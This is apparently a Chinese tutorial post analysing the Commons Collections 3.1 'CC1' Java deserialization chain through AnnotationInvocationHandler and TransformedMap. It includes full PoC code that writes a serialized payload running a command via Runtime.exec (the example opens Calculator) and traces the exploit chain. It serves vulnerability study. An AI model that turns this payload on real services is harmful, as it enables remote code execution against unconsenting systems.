0x01 前言

通过前面的两篇文章,清楚的学习到了
要想成功的命令执行就必须触发ChainedTransformer类的transform方法

而想触发ChainedTransformer类的transform方法,上两篇文章中分别学到
第一篇文章的outerMap.put("kk", "vvv");触发
第二篇文章的Map innerMap = new HashMap();``innerMap.put("kf", "vvv");触发

虽然触发方法有所不同,但是本质上可以看的出来,都是通过Map中加入一个新的元素
也就是Map.put();操作,然后触发ChainedTransformer类的transform方法,最终执行恶意代码
在本地中,我们可以手工执行Map.put();一个元素进去,触发漏洞

但是在实际中,需要找到一个类,读取恶意的序列化流,让它在反序列化的readObject()逻辑时
有类似Map.put()的操作,最终执行恶意代码

而这个类就是本篇文章的主角: sun.reflect.annotation.AnnotationInvocationHandler

那么老样子,先看demo,在分析

0x02 demo

如果懒的创建环境的话,也可以通过github下载该环境如下:
https://github.com/pmiaowu/DeserializationTest

  1. 编辑器为: IntelliJ IDEA
  2. java版本:
  3. java version "1.7.0_80"
  4. Java(TM) SE Runtime Environment (build 1.7.0_80-b15)
  5. Java HotSpot(TM) 64-Bit Server VM (build 24.80-b11, mixed mode)
  6. 使用的架包:
  7. Commons Collections 3.1
  1. // 路径: /DeserializationTest/src/main/java
  2. // 文件名称: CommonCollections1Test3.java
  3. import org.apache.commons.collections.Transformer;
  4. import org.apache.commons.collections.functors.ChainedTransformer;
  5. import org.apache.commons.collections.functors.ConstantTransformer;
  6. import org.apache.commons.collections.functors.InvokerTransformer;
  7. import org.apache.commons.collections.map.TransformedMap;
  8. import java.io.FileOutputStream;
  9. import java.io.ObjectOutputStream;
  10. import java.lang.annotation.Retention;
  11. import java.lang.reflect.Constructor;
  12. import java.util.HashMap;
  13. import java.util.Map;
  14. public class CommonCollections1Test3 {
  15. public static void main(String[] args) throws Exception {
  16. // 要执行的命令
  17. String cmd = "open -a /System/Applications/Calculator.app";
  18. //构建一个 transformers 的数组,在其中构建了任意函数执行的核心代码
  19. Transformer[] transformers = new Transformer[]{
  20. new ConstantTransformer(Runtime.class),
  21. new InvokerTransformer(
  22. "getMethod",
  23. new Class[]{String.class, Class[].class},
  24. new Object[]{"getRuntime", new Class[0]}
  25. ),
  26. new InvokerTransformer(
  27. "invoke",
  28. new Class[]{Object.class, Object[].class},
  29. new Object[]{null, new Object[0]}
  30. ),
  31. new InvokerTransformer(
  32. "exec",
  33. new Class[]{String.class},
  34. new Object[]{cmd}
  35. )
  36. };
  37. // 将 transformers 数组存入 ChaniedTransformer 这个继承类
  38. Transformer transformerChain = new ChainedTransformer(transformers);
  39. // 创建个 Map 准备拿来绑定 transformerChina
  40. Map innerMap = new HashMap();
  41. // put 第一个参数必须为 value, 第二个参数随便写
  42. innerMap.put("value", "xxxx");
  43. // 创建个 transformerChina 并绑定 innerMap
  44. Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
  45. // 反射机制调用AnnotationInvocationHandler类的构造函数
  46. Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  47. Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class);
  48. //取消构造函数修饰符限制
  49. ctor.setAccessible(true);
  50. //获取 AnnotationInvocationHandler 类实例
  51. Object instance = ctor.newInstance(Retention.class, outerMap);
  52. // 保存反序列化文件
  53. FileOutputStream f = new FileOutputStream("poc.ser");
  54. ObjectOutputStream out = new ObjectOutputStream(f);
  55. out.writeObject(instance);
  56. System.out.println("执行完毕");
  57. }
  58. }
  59. // 执行完毕以后 DeserializationTest目录下面会生成 poc.ser

接着就去运行Test方法,进行攻击测试,会弹出一个计算器
image.png

0x03 AnnotationInvocationHandler

通过网上查找的资料发现AnnotationInvocationHandler这个类,是用于处理注解的

0x03.1 对应的POC代码

  1. // 反射机制调用AnnotationInvocationHandler类的构造函数
  2. Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  3. Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class);
  4. //取消构造函数修饰符限制
  5. ctor.setAccessible(true);
  6. //获取 AnnotationInvocationHandler 类实例
  7. Object instance = ctor.newInstance(Retention.class, outerMap);
  8. // 保存反序列化文件
  9. FileOutputStream f = new FileOutputStream("poc.ser");
  10. ObjectOutputStream out = new ObjectOutputStream(f);
  11. out.writeObject(instance);

0x03.2 该类重点源码

先看一眼AnnotationInvocationHandler类重点源码
如下:

  1. package sun.reflect.annotation;
  2. ...
  3. class AnnotationInvocationHandler implements InvocationHandler, Serializable {
  4. ...
  5. private final Class<? extends Annotation> type;
  6. private final Map<String, Object> memberValues;
  7. ...
  8. AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
  9. Class[] var3 = var1.getInterfaces();
  10. if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
  11. this.type = var1;
  12. this.memberValues = var2;
  13. } else {
  14. throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
  15. }
  16. }
  17. ...
  18. private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
  19. var1.defaultReadObject();
  20. AnnotationType var2 = null;
  21. try {
  22. var2 = AnnotationType.getInstance(this.type);
  23. } catch (IllegalArgumentException var9) {
  24. throw new InvalidObjectException("Non-annotation type in annotation serial stream");
  25. }
  26. Map var3 = var2.memberTypes();
  27. Iterator var4 = this.memberValues.entrySet().iterator();
  28. while(var4.hasNext()) {
  29. Entry var5 = (Entry)var4.next();
  30. String var6 = (String)var5.getKey();
  31. Class var7 = (Class)var3.get(var6);
  32. if (var7 != null) {
  33. Object var8 = var5.getValue();
  34. if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
  35. var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
  36. }
  37. }
  38. }
  39. }
  40. }

0x03.3 该类分析

看完上面的源码以后,我就冒出了以下几个疑问,让我们继续学习

0x03.3.1 啊明明,六问

第一个问题,跟进AnnotationInvocationHandler类的构造函数方法,看看做了什么?
第二个问题,为什么要使用Retention.class?还有其它类可使用么怎么找?
第三个问题,为什么要使用反射?使用方法是?
第四个问题,跟进AnnotationInvocationHandler类的readObject方法,看看做了什么?
第五个问题,为什么innerMap.put("value", "xxxx");这行代码的value字符串,不能改成其它值?
第六个问题,为什么在Java 8u71以后就无法利用?

0x03.3.2 自我解答

第一个问题答案:

想要清楚了解的话,一定要先在接着查看一次AnnotationInvocationHandler构造方法源码
image.png
AnnotationInvocationHandler类的构造函数方法,需要传入两个参数
第⼀个参数为,Annotation类类型参数,也就是POC传的Retention.class
第二个参数为,Map类型参数,也就是POC传的outerMap

接着判断参数一传入进来的类类型是否为Annotation.class,并且必须含有至少一个方法
如果验证通过,那就把传输进来的值,分别赋值给了本类对应的成员变量里面

现在我们继续查看构造方法赋值了给了AnnotationInvocationHandler类的那些对应的成员变量里面
Class[] var3 = var1.getInterfaces();获取了Retention.class所有实现的接口
this.type = var1单纯的赋值,也就是this.type = Retention.class;
this.memberValues = var2;单纯的赋值,也就是this.memberValues = outerMap;
这三个成员变量一定要牢牢记住,因为它在readObject方法里面很重要

最后需要注意的是: Retention.class是一个注解类,而outerMap是被TransformedMap修饰过的类

第二个问题答案:

在回答这个问题之前,先看一眼对应的POC

  1. Object instance = ctor.newInstance(Retention.class, outerMap);

在看AnnotationInvocationHandler类的构造函数

  1. AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
  2. Class[] var3 = var1.getInterfaces();
  3. if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
  4. this.type = var1;
  5. this.memberValues = var2;
  6. } else {
  7. throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
  8. }
  9. }

第二个问题第一小点答案:
这个答案就很明显了把?
因为AnnotationInvocationHandler类的构造函数第一个参数必须要为Annotation类的子类
并且该Annotation类的子类必须含有至少一个方法,那样才能符合构造构造函数的要求
Retention类就是Annotation类的子类之一,并且含有一个方法

第二个问题第二小点答案:
当然是有的,构造函数说的很清楚了,第一个参数必须要为Annotation类的子类,并且该Annotation类的子类必须含有至少一个方法

基于这个,只要找找谁在创建类时是这样的public @interface xxxxx { }并且含有至少一个方法即可
例如直接查找Java JDK自带的架包
image.png
image.png
经过查找符合要求的一共有两个
第一个为: java.lang.annotation.Retention
第二个为: java.lang.annotation.Target

第三个问题答案:

这是因为sun.reflect.annotation.AnnotationInvocationHandler是在Java JDK内部的类
因此无法直接使用new来实例化,但是可以通过反射来进行实例化

先看对应POC代码

  1. // 反射机制调用AnnotationInvocationHandler类的构造函数
  2. Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  3. Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class);
  4. //取消构造函数修饰符限制
  5. ctor.setAccessible(true);
  6. //获取 AnnotationInvocationHandler 类实例
  7. Object instance = ctor.newInstance(Retention.class, outerMap);

我们先使用反射获取到了它的构造方法(getDeclaredConstructor())
接着取消构造函数修饰符限制(setAccessible(true))
最后再调用就可以实例化了(newInstance())

第四个问题答案:

这里我们先debug查看结果,然后在慢慢分析
image.png
image.png
image.png
有了这张图就好分析了

首先想想AnnotationInvocationHandler构造方法赋值情况
Class[] var3 = var1.getInterfaces();获取了Retention.class所有实现的接口
this.type = var1单纯的赋值,也就是this.type = Retention.class;
this.memberValues = var2;单纯的赋值,也就是this.memberValues = outerMap;

readObject方法里面有两个核心逻辑,所以我们也只分析这两个核心逻辑
Iterator var4 = this.memberValues.entrySet().iterator();var5.setValue(...)

this.memberValues就是outerMap而这个Map是经过TransformedMap修饰的对象
这里会遍历Iterator var4所有的元素,并依次设置值
而如果所有的条件都满足的情况下会去调用var5.setValue(...)设置值
最终在调用var5.setValue(...)设置值时,就会触发TransformedMap里注册的Transform
最后面进而执行我们为其精心设计的任意代码

是否还记得我们最前面说过要想成功的命令执行就必须达成什么条件么?
没错就是要触发ChainedTransformer类的transform方法
而要想触发这个方法,只需要对Map对象有添加/修改的操作即可
那么这个var5.setValue(...)就是一个完美的触发点
因为Map.EntryMap的一个内部接口,所以var5就是一个Map对象

这里我们还提出了一个问题出来,如果所有的条件都满足的情况下会去调用var5.setValue(...)设置值
那么这个条件如何判断是否满足?这就留在我们的第五个问题慢慢分析

第五个问题答案:

先看一眼相关的POC源码
Object instance = ctor.newInstance(Retention.class, outerMap);

让我们在看看debug的图
image.png
可以看到,关键点就在于如何让var7不为空
只有不为空,进入到下面的流程才能正常var5.setValue(...)才会触发漏洞

那么如何让这个var7不为null呢?
主要有两点条件

  1. AnnotationInvocationHandler类,第⼀个参数为必须为Annotation类的子类,并且含有至少一个方法
  2. TransformedMap.decorate修饰的Map至少要有一个特定元素

在看一眼debug的图,看看执行流程
1, Entry var5 = (Entry)var4.next();是个Map.Entry,值为key = value, value = xxxx
2, 接着看String var6 = (String)var5.getKey();,那么值就是value
3, 在然后Map var3 = var2.memberTypes();
4, 最后面Class var7 = (Class)var3.get(var6);
第3点与第四点,这里拿张debug的图给你标出来
image.png
所以(Class)var3 = Retention.class满足了第一点的条件,并且里面有个value方法
Class var7 = (Class)var3.get(var6);中的var6就是POC传进来的outerMap
因此我们给Map中放入一个Keyvalue的元素,就可以getRetention.class中的value方法
这样就Class var7就不为空了

第六个问题答案:

据phith0n(P牛)的JAVA安全漫谈系列里面谈到的,在8u71以后大概是2015年12月的时候
Java官方修改了sun.reflect.annotation.AnnotationInvocationHandlerreadObject函数
链接: http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/f8a528d0379d
image.png
改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去
后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执行set或put操作,也就不会触发RCE了

0x04 总结

一路学习到这里,我们才算是真正入门了Java的反序列化漏洞的大门

那么就尝试把利用链的过程理一理

  1. // 利用链过程
  2. ├── ObjectInputStream.readObject()
  3. └── AnnotationInvocationHandler.readObject()
  4. └── Map.entrySet().iterator() // this.memberValues.entrySet().iterator();
  5. └── Map.get() // (Class)var3.get(var6);
  6. └── Entry.setValue() // var5.setValue(...)
  7. └── ChainedTransformer.transform()
  8. ├── ConstantTransformer.transform()
  9. ├── InvokerTransformer.transform()
  10. └── Method.invoke()
  11. └── Class.getMethod()
  12. ├── InvokerTransformer.transform()
  13. └── Method.invoke()
  14. └── Runtime.getRuntime()
  15. └── InvokerTransformer.transform()
  16. └── Method.invoke()
  17. └── Runtime.exec()

仔细对比ysoserial的代码,你会发现,ysoserial的代码使用的是LazyMap
而本篇文章使用的是TransformedMap,其实都是一样的,只是这个触发方式更加简单
后面在通过深入ysoserial的CC1,学习LazyMap的利用链

未完待续….